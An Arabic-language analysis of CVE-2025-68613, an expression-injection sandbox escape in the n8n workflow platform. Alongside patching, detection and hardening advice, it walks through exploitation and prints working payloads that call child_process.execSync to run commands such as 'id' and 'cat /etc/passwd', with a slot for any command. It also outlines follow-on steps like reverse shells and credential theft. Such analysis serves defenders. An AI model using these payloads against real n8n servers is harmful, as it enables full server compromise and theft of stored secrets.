
CVE-2025-68613 (n8n) تحليل ثغرة RCE حرجة + توصيات دفاعية (التحقق من التصحيح، أفكار الكشف، ونصائح التعزيز)
CVE-2025-68613 هي ثغرة حرجة لتنفيذ الأكواد عن بُعد في منصة أتمتة سير العمل n8n تسمح للمهاجمين المُوثَّقين بتنفيذ أوامر نظام تعسفية عبر حقن التعبيرات.
⚡ إحصائيات سريعة
|
🎯 حقائق رئيسية
|
| الخاصية | القيمة |
|---|---|
| 🆔 معرف CVE | CVE-2025-68613 |
| 📊 درجة CVSS | 9.9 (حرج) 🔴 |
| 🔗 ناقل CVSS | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
| 🏷️ CWE | CWE-913 (التحكم غير السليم في موارد الأكواد المدارة ديناميكيًا) |
| 📦 الإصدارات المتأثرة | 0.211.0 → 1.120.3, 1.121.0 |
| ✅ الإصدارات المُصحَّحة | 1.120.4, 1.121.1, 1.122.0+ |
n8n هي منصة أتمتة سير عمل مفتوحة المصدر تتيح التكامل بدون كود/بكود منخفض عبر أكثر من 400 تطبيق. يتم نشرها على نطاق واسع في:
| 🏢 حالة الاستخدام | 📝 الوصف |
|---|---|
| 🔧 DevOps | خطوط أنابيب الأتمتة، تكاملات CI/CD |
| 🛡️ عمليات الأمان | سير عمل SOAR، الاستجابة للحوادث |
| 💼 الأعمال | أتمتة العمليات، سير عمل البيانات |
| 📊 البيانات | عمليات ETL، تكاملات API |
🔓 سلسلة الثغرة:
┌─────────────────────────────────────────────────────────────────┐
│ 📝 لغة تعبيرات n8n → معالجة البيانات الديناميكية │
│ ↓ │
│ ⚠️ عزل غير كافٍ للصندوق الرملي في التقييم من جانب الخادم │
│ ↓ │
│ 💀 هروب التعبير الخبيث من الصندوق الرملي │
│ ↓ │
│ 🖥️ الوصول إلى وحدة child_process في Node.js │
│ ↓ │
│ 💥 RCE كاملة - تنفيذ أوامر نظام التشغيل │
└─────────────────────────────────────────────────────────────────┘
متطلبات الاستغلال:
| # | 📋 المتطلب | 📝 التفاصيل |
|---|---|---|
| 1️⃣ | المصادقة | حساب مستخدم صالح في n8n (امتيازات منخفضة كافية) |
| 2️⃣ | الأذونات | إمكانية إنشاء/تعديل سير العمل |
| 3️⃣ | الوصول الشبكي | القدرة على الوصول إلى مثيل n8n |
| 🏷️ السمة | 📊 القيمة | 🔥 الخطر |
|---|---|---|
| التعقيد | منخفض (AC:L) | 🔴 عالٍ |
| تفاعل المستخدم | لا شيء مطلوب | 🔴 عالٍ |
| النطاق | متغير | 🔴 حرج |
graph TD
A[🔐 مستخدم مُوثَّق] -->|ينشئ| B[📝 سير عمل جديد]
B -->|يحقن| C[💀 تعبير خبيث]
C -->|يطلق| D[⚡ تقييم التعبير]
D -->|يستغل| E[🔓 هروب من الصندوق الرملي]
E -->|يصل إلى| F[🖥️ بيئة تشغيل Node.js]
F -->|ينفذ| G[💥 أمر نظام عبر child_process]
G -->|يحقق| H[☠️ اختراق كامل للخادم]
style A fill:#4CAF50,color:#fff
style C fill:#ff9800,color:#fff
style E fill:#f44336,color:#fff
style H fill:#9c27b0,color:#fff
⚠️ إخلاء مسؤولية: ما يلي لأغراض تعليمية فقط. الاستغلال غير المصرح به غير قانوني.
الوصول الأولي إلى منصة أتمتة سير العمل n8n الضعيفة.
🔓 لوحة تحكم ترحيب n8n - نقطة الدخول
إنشاء سير عمل جديد سيحتوي على الحمولة الخبيثة.
📝 إنشاء سير عمل جديد مع "إضافة الخطوة الأولى"
تكوين مشغل سير العمل - المشغل اليدوي يسمح بالتنفيذ عند الطلب.
🎯 اختيار المشغل اليدوي لتفعيل سير العمل
إضافة عقدة "تحرير الحقول (Set)" التي ستحتوي على التعبير الخبيث.
🔧 إضافة عقدة "تحرير الحقول (Set)" لحقن الحمولة
الخطوة الحاسمة - حقن تعبير الهروب من الصندوق الرملي لتحقيق RCE.
💀 التعبير الخبيث ينفذ أمر 'id' بنجاح!
// 🔴 حمولة خبيثة (لا تستخدمها بشكل غير قانوني)
{{ (function(){ return this.process.mainModule.require('child_process').execSync('id').toString(); })() }}
المخرجات تظهر: uid=1000(node) gid=1000(node) groups=1000(node) ✅ تم تأكيد RCE!
GIF حقن كود
⚠️ تحذير: هذه الحمولات لاختبارات الأمان المصرح بها فقط. الاستخدام غير المصرح به غير قانوني!
{{ (function(){ return this.process.mainModule.require('child_process').execSync('id').toString() })() }}
{{ (function(){ return this.process.mainModule.require('child_process').execSync('pwd').toString() })() }}
{{ (function(){ return this.process.mainModule.require('child_process').execSync('cat /etc/passwd').toString() })() }}
{{ (function(){ return this.process.mainModule.require('child_process').execSync('أمرك_هنا').toString() })() }}
💀 قراءة /etc/passwd - تم إثبات الوصول الكامل إلى نظام الملفات!
| 🎯 الحمولة | 📋 المخرجات المتوقعة |
|---|---|
id | uid=1000(node) gid=1000(node) groups=1000(node) |
pwd | /app |
cat /etc/passwd | قائمة مستخدمي النظام كاملة (جذر، خفي، عقدة، إلخ) |
env | جميع متغيرات البيئة بما في ذلك الأسرار |
ls -la / | قائمة نظام الملفات الجذري |
┌─────────────────────────────────────────────────────────────────────────┐
│ 🔴 السبب الجذري للثغرة │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ مُقيِّم التعبيرات في n8n يفتقر إلى أداة تنظيف تمنع تعبيرات الدوال │
│ من الوصول إلى: │
│ │
│ ❌ this.process → كائن عملية Node.js │
│ ❌ mainModule.require → نظام تحميل الوحدات │
│ ❌ child_process → تنفيذ أوامر نظام التشغيل │
│ │
│ هذا يسمح بالوصول المباشر إلى وحدات النظام وتنفيذ أكواد عشوائية! │
│ │
└─────────────────────────────────────────────────────────────────────────┘
|
|
# 🛡️ ترقية n8n إلى الإصدار المُصحَّح
npm install -g n8n@latest
# أو باستخدام Docker
docker pull n8n/n8n:1.122.0
| المرحلة | 🔥 الإجراء | 💀 التأثير |
|---|---|---|
| 1️⃣ | الوصول الأولي | المصادقة على n8n |
| 2️⃣ | التنفيذ | إرسال سير عمل خبيث |
| 3️⃣ | الاستمرارية | نشر شل عكسية/باب خلفي |
| 4️⃣ | C2 | إنشاء قيادة وتحكم |
| 5️⃣ | الإجراءات | استخراج البيانات، التحرك الجانبي |
| 🎯 الإجراء | 💥 مستوى التأثير |
|---|---|
| 🔑 سرقة بيانات الاعتماد | استخراج مفاتيح API، رموز OAuth، كلمات مرور قواعد البيانات |
| 📤 استخراج البيانات | بيانات سير العمل، سجلات التنفيذ، معلومات الأعمال |
| 🔒 الاستمرارية | مهام cron، نصوص بدء التشغيل، شلات ويب |
| 🔀 التحرك الجانبي | الانتقال إلى قواعد البيانات، CI/CD، البنية التحتية السحابية |
| 🗑️ التلاعب بسير العمل | تعديل/تدمير منطق الأتمتة |
🔴 السرية (عالية)
|
🟠 السلامة (عالية)
|
🟡 التوفر (عالية)
|
| # | 📋 الطريقة | 🔍 ما يجب مراقبته |
|---|---|---|
| 📜 | تحليل السجلات | أوامر غير معتادة من عملية n8n، تعبيرات فاشلة |
| 🌐 | الشبكة | اتصالات صادرة لعناوين IP غير معروفة، طلبات POST كبيرة |
| ⚡ | وقت التشغيل | استدعاءات child_process، إنشاء عمليات غير متوقع |
| 📦 | تدقيق الإصدار | التحقق من نطاق الإصدارات الضعيفة |
#!/usr/bin/env bash
# 🔍 CVE-2025-68613 تدقيق إصدار n8n
echo "🔍 جارٍ التحقق من إصدار n8n..."
if command -v n8n >/dev/null 2>&1; then
VER="$(n8n --version | tr -d 'v' | head -n1)"
if [[ "$VER" < "1.120.4" ]] && [[ "$VER" >= "0.211.0" ]]; then
echo "⚠️ ضعيف: n8n $VER متأثر بـ CVE-2025-68613"
echo "📦 مطلوب: الترقية إلى 1.120.4 أو 1.121.1 أو 1.122.0+"
exit 2
else
echo "✅ آمن: n8n $VER مُصحَّح"
fi
else
echo "❌ n8n غير موجود في PATH"
fi
| 🔢 الأولوية | 🛠️ الإجراء | 📝 التفاصيل |
|---|---|---|
| 🔴 P0 | التصحيح فورًا | الترقية إلى 1.120.4 أو 1.121.1 أو 1.122.0+ |
| 🟠 P1 | تقييد الوصول | قصر إنشاء سير العمل على المستخدمين الموثوقين |
| 🟡 P2 | تقوية الحاوية | النشر مع قيود أمان |
# 🛡️ نشر n8n مُقوَّى
FROM n8n/n8n:1.122.0
# 👤 التشغيل كمستخدم غير جذر
USER node
# 🔒 تطبيق علامات وقت التشغيل التالية:
# --read-only --tmpfs /tmp:rw,noexec,nosuid
# --cap-drop=ALL --cap-add=NET_BIND_SERVICE
# --security-opt seccomp=n8n-seccomp.json
| 🛡️ الإجراء | 📝 التنفيذ |
|---|---|
| 🌐 تجزئة الشبكة | عزل مثيلات n8n |
| 🔥 قواعد WAF | مراقبة أنماط التعبيرات |
| 📜 تسجيل التدقيق | تمكين التسجيل الشامل |
| 🔍 مراجعات الأمان | تقييمات منتظمة لسير العمل |
| 🔓 مبدأ الامتياز الأقل | فرض ضوابط الوصول |
كيف ستصمم قاعدة كشف لتحديد محاولات حقن التعبيرات في تعريفات سير عمل n8n قبل التنفيذ، مع مراعاة الموازنة بين الأمان والاستخدام المشروع للتعبيرات الديناميكية؟
إضافي: ما هي حماية وقت التشغيل التي ستطبقها للحد من نطاق الانفجار إذا حدث الهروب من الصندوق الرملي رغم التصحيح؟
#CVE-2025-68613 #n8n #RCE #Expression-Injection #Workflow-Automation
#Sandbox-Escape #CWE-913 #Critical-Vulnerability #Pentesting #Blue-Team
⚠️ إخلاء مسؤولية: هذا التحليل لأغراض تعليمية وأمنية دفاعية فقط.
الاستغلال غير المصرح به للثغرات غير قانوني.